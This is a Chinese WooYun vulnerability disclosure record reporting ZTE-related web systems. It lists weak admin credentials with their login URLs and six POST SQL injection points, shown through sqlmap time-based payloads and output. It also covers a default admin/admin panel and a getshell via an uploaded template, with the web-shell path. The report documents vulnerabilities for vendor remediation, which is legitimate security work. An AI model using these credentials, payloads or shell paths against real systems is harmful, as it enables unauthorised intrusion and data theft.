当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0157557

漏洞标题:中兴通讯漏洞打包(某系统后台弱口令可操作全站+6处sql报错注入+某系统admin弱口令+某站getsehll已菜刀)

相关厂商:中兴通讯股份有限公司

漏洞作者: 牛 小 帅

提交时间:2015-12-02 11:34

修复时间:2016-01-16 16:00

公开时间:2016-01-16 16:00

漏洞类型:成功的入侵事件

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-02: 细节已通知厂商并且等待厂商处理中
2015-12-02: 厂商已经确认,细节仅向厂商公开
2015-12-12: 细节向核心白帽子及相关领域专家公开
2015-12-22: 细节向普通白帽子公开
2016-01-01: 细节向实习白帽子公开
2016-01-16: 细节向公众公开

简要描述:

中兴通讯漏洞打包(某系统后台弱口令可操作全站+6处sql报错注入+某系统admin弱口令+某站getsehll已菜刀)

详细说明:

漏洞1:
弱口令
http://www.zte-v.com.cn/manage/Default.aspx

admin 123321


登入可编辑全站,管理员编辑,内容编辑,配置编辑,广告位,模版,应该可以webshell

GIP$D69FOB]@(TIV@$L8X_1.png


================================================================================
漏洞2:
3处sql注入
第一处:
在广告版位管理处,单引号测试

J64$UA{G}0@WH4${YU420EN.jpg


Place: POST
Parameter: TxtADName
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: __EVENTTARGET=&__EVENTARGUMENT=&__LASTFOCUS=&__VIEWSTATE=9Z0dbrYz3l
8m4MD31fnNNh3goVkSR+zZlaJSNr7N8/qYSmBr2mSdyaZYjf70oRMLurPZq+/DFVDKDJths/sbFuZXnw
b3354EufupPqow0SSpix3ycprDSHrzCPSfDi8qorvjzXbj3bz3bSWkptNNKdeCVkqVTPRfDDg6qqgyBo
yxX0LkETiLDkmM547DvVZRiez544CPCwfFAAPf1x0aaKZtv8Mi9Ql8hjCTaxWa417lC/iYVBzowlRJhg
hzL7eifqRAjaU7fAM1fLGEjAWT3d8xWV4kdZePsKQ9+LEGMSJGZPpV&__VIEWSTATEGENERATOR=C93C
01F5&__VIEWSTATEENCRYPTED=&__EVENTVALIDATION=sZyvVegvUCrZ6R7nyZ08L4PHUnzqGaITfdg
tXDisoM9MX0Kk4I6ZyYJC7TntDNvkyyflIhvbW31p3YuvnS2gL56qWEAoDpXEpTMAU8SFeA4CISoMTEj
DGIhakoiXQcXE8gz9iQ==&TxtADName=1'; WAITFOR DELAY '0:0:5';--&BntSearch=??
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: __EVENTTARGET=&__EVENTARGUMENT=&__LASTFOCUS=&__VIEWSTATE=9Z0dbrYz3l
8m4MD31fnNNh3goVkSR+zZlaJSNr7N8/qYSmBr2mSdyaZYjf70oRMLurPZq+/DFVDKDJths/sbFuZXnw
b3354EufupPqow0SSpix3ycprDSHrzCPSfDi8qorvjzXbj3bz3bSWkptNNKdeCVkqVTPRfDDg6qqgyBo
yxX0LkETiLDkmM547DvVZRiez544CPCwfFAAPf1x0aaKZtv8Mi9Ql8hjCTaxWa417lC/iYVBzowlRJhg
hzL7eifqRAjaU7fAM1fLGEjAWT3d8xWV4kdZePsKQ9+LEGMSJGZPpV&__VIEWSTATEGENERATOR=C93C
01F5&__VIEWSTATEENCRYPTED=&__EVENTVALIDATION=sZyvVegvUCrZ6R7nyZ08L4PHUnzqGaITfdg
tXDisoM9MX0Kk4I6ZyYJC7TntDNvkyyflIhvbW31p3YuvnS2gL56qWEAoDpXEpTMAU8SFeA4CISoMTEj
DGIhakoiXQcXE8gz9iQ==&TxtADName=1' WAITFOR DELAY '0:0:5'--&BntSearch=??
---
[09:57:08] [INFO] testing MySQL
[09:57:08] [WARNING] it is very important not to stress the network adapter's ba
ndwidth during usage of time-based queries
[09:57:09] [WARNING] the back-end DBMS is not MySQL
[09:57:09] [INFO] testing Oracle
[09:57:09] [WARNING] the back-end DBMS is not Oracle
[09:57:09] [INFO] testing PostgreSQL
[09:57:09] [WARNING] the back-end DBMS is not PostgreSQL
[09:57:09] [INFO] testing Microsoft SQL Server
[09:57:14] [INFO] confirming Microsoft SQL Server
[09:57:34] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008
web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[09:57:34] [INFO] fetching current user
[09:57:34] [INFO] retrieved:
[09:57:40] [INFO] adjusting time delay to 4 seconds due to good response times
sql_zfkj2014
current user: 'sql_zfkj2014'


第二处:
人才招聘列表处,单引号测试

WVT)U}$@K%PHNOI_]N[A~7X.png


P$FWVBTR0IL7%~339A[{XH3.jpg


[10:19:32] [INFO] testing Microsoft SQL Server
[10:19:32] [WARNING] it is very important not to stress the network adapter's b
ndwidth during usage of time-based queries
[10:19:38] [INFO] confirming Microsoft SQL Server
[10:19:54] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008
web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[10:19:54] [INFO] fetching current user
[10:19:54] [INFO] retrieved: sql_zfkj2014


第三处:
产品列表处

%9)S()B1~@J0UIFAXBCYAQ2.jpg


SXRR4RTIP5{C8C0AZ({`FSC.png


current user:    'sql_zfkj2014'


第四处:
新闻列表处

(P]MG~~TO@OS1N$RTG](SZQ.jpg


SXRR4RTIP5{C8C0AZ({`FSC.png


current user:    'sql_zfkj2014'


第五处:
下载中心列表

RH5ELP%WZQRKUK4MJ5VQQ%V.png


SXRR4RTIP5{C8C0AZ({`FSC.png


current user:    'sql_zfkj2014'


第六处:
图片切换列表

A1BTYD3`40(RZ]GBW$P[@HH.png


SXRR4RTIP5{C8C0AZ({`FSC.png


current user:    'sql_zfkj2014'


全部都是post注入
========================================================================
漏洞3:
admin admin 默认口令
http://210.51.195.4/admin/index.asp

VSYHR[TX)H2HQY@U0V_`)@D.png


===========================================================================
漏洞4:
getshell
http://210.51.195.4/admin/index.asp
利用前面添加模版
一句话

http://210.51.195.4/Templates/cn/html/1.asp;.html


KQRDM6DQ[9MH6NCIV{V~X]2.png


}LDW~1{3W7RT]KOOAJN{Y82.png

漏洞证明:

修复方案:

版权声明:转载请注明来源 牛 小 帅@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:16

确认时间:2015-12-02 15:59

厂商回复:

感谢提交,望继续关注

最新状态:

暂无